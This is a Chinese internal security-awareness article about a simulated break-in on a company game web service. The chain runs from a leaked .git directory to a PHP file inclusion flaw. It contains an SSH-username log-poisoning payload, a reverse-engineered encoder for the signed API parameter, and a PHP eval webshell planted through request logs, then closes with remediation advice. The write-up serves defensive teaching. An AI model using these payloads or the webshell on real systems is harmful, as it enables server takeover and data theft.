这是一篇发表在公司内部月刊的安全文章,意在提升开发部门的安全意识,所以概念解释颇多
上周,在日常漏洞扫描工作中,发现某游戏部门的 web 服务存在 .git 代码泄漏问题,并且发现服务代码存在严重的文件包含漏洞。
扫描到这一问题后,我们第一时间确认了该系列安全问题尚未被攻击者利用(日志),之后第一时间重命名了 .git 目录。 “血案” 并未真实发生,下面只是模拟了在不知道服务器任何信息的情况下,利用各种暴露的风险因素,制造一起 “血案”。
整体事件过程:
1. .git 代码泄漏
2. 代码审计
- 发现文件包含漏洞
- 大量的内部接口及数据库账户密码
- 可直接对多个游戏的账户增加积分、金币等
3. 漏洞利用
- 利用其接口测试代码顺利执行恶意代码
4. 服务器权限
- 阿里云内网服务
从最终结果来看,如果攻击发生,可能导致十分严重的后果:接口泄漏、各种环境密码泄漏、内网其他服务器可能被入侵、线上数据被修改等
此次展示过程到服务器权限这就结束了,但如果是真实攻击者进行持续渗透,内网服务器及整个业务线都有可能被攻击勒索,造成重大事故。
本次案例也从技术细节上发现了诸多安全问题,如不严谨的函数处理、将正式环境等信息加入版本控制等
攻击过程模拟
取得源码
通过工具就能直接从泄露的 .git 地址中,还原出项目源码,如下图

信息收集
在 web 渗透测试之前,最重要的一步是信息收集,可以说渗透的本质其实也是信息收集
在项目的根目录中我发现了这个文件,接触过 php 的朋友应该都很熟悉,这可以给我们提供很多的服务器信息,详情可以参考官方手册 phpinfo

不过,这里有一点要说明的是,虽然我们看到了这个文件,但真实环境中不一定存在这个文件。原因就是我们得到的代码是通过 .git 目录还原过来的,是 git 中有提交记录的文件。如果开发者在正式环境中对某个文件进行了更改,并且没有进行提交,那么我们也不能通过 .git 目录还原出该文件的真实状态。所以不要把正式环境的信息加入到版本控制中,是很有道理的。
然而这里我还是访问到了这个文件(所以这个信息收集得来全不费功夫),下面是 phpinfo 页面中查看到的这个 web 服务的根目录

代码审计
到现在为止,我们已经拿到了服务源码(其中包含数据库等敏感信息)和收集了一些服务器信息。那么接下来再来看下能否 ”攻陷“ 这台服务器。既然拿到了代码,就从代码入手吧。
审计代码发现,在某个入口文件处,引入了一个获取数据的 php 文件,其通过获取 GET 请求中的 url 参数,从指定文件目录中获取数据来渲染页面。

可以看到这里的 $path 是用户可以控制的输入

继续追踪就来到了这里,traverse 函数对传入的 $path 目录进行遍历处理,如果遍历到文件就会传给 analysis 函数处理,然而 analysis 函数中却直接 require 了该文件。

开发者的本意应该就是通过 require 一些 php 文件获得结果,返回给页面进行渲染,但不做限制的引入直接就形成了一个严重的 php 文件包含漏洞。
文件包含漏洞(File Inclusion)是一种常见的依赖于脚本运行从而影响 Web 应用的漏洞。严格来说,文件包含漏洞是“代码注入”的一种,许多脚本语言,例如 PHP、JSP、ASP、.NET 等,都提供了一种包含文件的功能,这种功能允许开发者将可使用的脚本代码插入到单个文件中保存,在需要调用的时候可以直接通过载入文件的方式执行里面的代码,但是如果攻击者控制了可执行代码的路径,也就是文件位置时,攻击者可以修改指定路径,将其指向一个包含了恶意代码的恶意文件
在 php 的引入机制中, require 或 include 语句会获取指定文件(可以是任意文件类型例如: jpg、txt、html 等),并将文件内容复制到使用执行引入语句的文件中。然后,再使用 php 脚本引擎去解释运行引入的文本内容,使得其中包含 php 标记的代码就会被执行,标记以外的数据会原样返回。
漏洞验证
进一步查看代码后,我发现了一个测试接口的 php 文件 testAPI.php ,可以用来测试该项目中所有的接口,后面会通过这个文件来构造请求,这里我们先通过构造前面的 url 参数来验证下我们发现的漏洞,可以注意下这里的逻辑。

通过我们知道的 web 根目录来构造 url 参数,根据代码逻辑,该目录下的文件都会被 require。

可以看到,直接返回了 error ,那是因为我们没有传递 key 参数,但也侧面印证了 testAPI.php 文件中的代码被包含并执行了。
漏洞利用
关于 php 包含漏洞的利用,网上有很多方法。例如,通过访问构造的网址让 nginx 产生包含恶意代码的日志文件或通过文件上传功能上传包含恶意代码的文件(如图片),然后利用漏洞包含这些文件。本质就是在目标服务器中生成一个包含 php 恶意代码的文件,并让程序包含执行。
这篇文章比较详细地介绍了常见的本地文件包含漏洞利用方法:What is an LFI Vulnerability?
这里只简单举一个利用 ssh 登陆写入恶意代码的例子。拿自己的服务器做个试验,我们构造一个包含恶意代码的 ssh 连接,将用户名替换成恶意代码,如下:
ssh '<?php phpinfo(); ?>'@xxx.xxx.xxx.xxx
接着我们就可以在服务器中看到如下日志

这时,如果我们控制程序包含 /var/log/secure 这个文件,那么我们的恶意代码就会被执行。
然而,不幸的是,常用的方法在今天并不奏效。该服务器对外开放的端口很少,相关目录也设置了访问权限,导致常用的方法都不能成功利用。
但是,攻击者是不会这么轻易放弃的。既然外部写入不行,那能不能通过程序本身来写入一些包含恶意脚本的文件呢?
经过搜索,在项目目录中发现了一个日志文件夹,并找到了写入该日志的代码位置,应该是用于记录接口的请求日志。

这里也许也可以被利用,因为我们可以推断日志最终生成的位置,查看 log_helper 内代码后发现日志生成的文件夹就是当前时间对应的文件夹。
但是前提是我们得构造一个看似合理的正常请求。这里我利用上面提到的那个测试接口的 php 文件进行请求,接口所需的参数大致如下:

这里的 appid,service,version 参数都能在代码中找到,token 可以是一个随机 32 位字符串,caller 可以指定任意的字符串,而 args 和 signature 需要通过计算得到。所有参数里,除了 caller 和 args 可以用来构造恶意代码外,其他参数都会被服务进行强校验(如不允许访问不存在的 service)。但是 caller 参数不会被记录到我们上面所说的日志文件中,所以我们只能利用 args 来构造请求。
上面说到 args 和 signature 需要通过计算得到,signature 参数是请求的签名,通过阅读代码可以确定,是将 signature 去除后,对所有参数按照键值升序排序,再加上 secret_key 进行 md5 运算。
private function _check_base($input) {
$appid = service_config::get_appid($this->_appid);
$input = util::urlencode($input);
unset($input['signature']);//注消Signature参数
ksort($input);//对POST的Key 数据进行sort排序
$str = '';
foreach ($input as $key=>$val){
$str .= $key.'='.$val.'|';//等号连接每个值
}
$str .= $appid['secret_key'];
$input_md5 = md5($str);
if ($input_md5 != $this->_signature) {
$this->_error('请求签名校验错误--', 11301);
}
//view::set('aaaa', self::encode(array('areaid'=>1056, 'appkey'=>'NG_365', 'type'=>1, 'rkey'=>'dress'), $appid['secret_key']));
}
接下来看 args ,相比签名的运算,这个相对复杂一些,需要考验逆向思维。首先这个 args 是一个加密参数,但项目中只有解密过程的代码,我们要据此推算出该参数的加密方法,解密方法代码如下:
private function _decode_input($input) {
$appid = service_config::get_appid($this->_appid);
$x = 0;
$key = $appid['secret_key'];
$input = base64_decode(str_replace(' ', '+', (string)$input));
$len = strlen($input);
$l = strlen($key);
for ($i = 0; $i < $len; ++$i) {
if ($x == $l) $x=0;
$char .=substr($key,$x,1);
++$x;
}
for ($i = 0; $i < $len; ++$i) {
if (ord(substr($input, $i, 1)) < ord(substr($char, $i, 1))) {
$str .=chr((ord(substr($input, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .=chr(ord(substr($input, $i, 1)) - ord(substr($char, $i, 1)));
}
}
$this->_args = util::json_decode($str);
if ( ! is_array($this->_args)) {
$this->_error('参数解析失败', 11401);
}
}
乍一看,令人头疼,其实还好。首先,加密的最终值是一个 base64 的编码值,并且解密最终得到一个 php 的数组。
接着看解密过程,首先对加密数据进行 base64 编码,然后第一个 for 循环生成一个 $char 变量,看上去很复杂,其实就是生成了一个用 secret_key 填充的和 base64 解码后数据等长的字符串。(如 secret_key 为 abcdef,base64 解码后数据长度为 8,则 $char 就是 abcdefab)
再看第二个 for ,这里对 $char 和解码后数据 $input 进行了逐位 ascii 码值比较。
当 $input 位的 ascii 码值小于 $char 位的 ascii 码值时:
解密后的 ascii 码值 = $input 位的 ascii 码值 + 256 - $char 位的 ascii 码值
否则:
解密后的 ascii 码值 = $input 位的 ascii 码值 - $char 位的 ascii 码值
如果单看后面的情况,那么:
加密的 ascii 码值 = 加密前数据位的 ascii 码值 + $char 位的 ascii 码值
那么什么时候需要减去 256 呢(第一种情况)?
这里应该是一个异常处理,当相加值大于 256 时则减去 256。不过,可见字符的 ascii 码最大就是 127 所以其实加不加这个判断都无所谓。
综上,我们可以写出对应的 args 加密代码:
<?php
$final = array("type" => "xxxxxxxxx");
$key = "xxxxxxxxxxxx";
$char = "";
$x = 0;
$l = strlen($key);
$l1 = json_encode($final);
for ($i = 0; $i < strlen($l1); ++$i) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
++$x;
}
$crypto = "";
for ($i = 0; $i < strlen($l1); ++$i) {
$c = ord(substr($l1,$i,1)) + ord(substr($char,$i,1));
if ($c > 256) {
$c = $c -256;
}
$crypto .= chr($c);
}
echo base64_encode($crypto);
就是对解密代码的完全逆向,首先输入一个 php 数组,然后得到 $char ,接着进行 ascii 码运算,最后 base64 加密。
回到这张图

这里我们构造请求 service 为 Area.List.Get 的接口,并且 args 中指定了 type 参数为 xxxxxxxxx 。
提交成功!

接着我们构造包含日志目录的 url ,并在其中搜索该次请求

可以看到已经成功写入了。
现在,让我们将上面的 type 参数改成恶意代码,我们将加密代码中的 $final 变量改成如下:
$final = array("type" => "<?php @eval(\$_POST['y38hse']);?>");
重新生成 args 和 sign 后,再次提交,依旧提交成功。
至此,我们再访问刚才的网址,恶意代码 <?php @eval($_POST['y38hse']);?> 将会被执行。这是一个经典的 php 一句话木马,从 POST 请求里获取 y38hse 这个参数,并将参数内容当做 php 代码执行,让我们来验证一下。

可以看到,代码被成功执行并返回了。
现在,通过工具连接包含我们恶意代码的地址,就可以访问服务器里的所有资源

到这里,攻击展示就结束了。但如果是真实攻击,攻击者很可能进行持续渗透,把影响延伸到整个服务内网。

漏洞修复
- 删除泄露的
.git目录 - 修复文件包含漏洞,可以进行目录限制或文件类型判断
事件总结
本次攻击模拟由
.git泄露起,这是一个值得关注的问题,我们公司之前也有基于git实现部署的项目,这里很有可能造成.git目录的泄露。另外,除了git以外,其他信息的泄露也会造成安全隐患,如svn等。开发部门应该严格处理该类问题,对暴露的敏感信息进行及时删除或进行权限隔离。代码的不严谨最终导致文件包含漏洞的产生,开发部门可以建立小组代码
review机制,加强代码审查工作。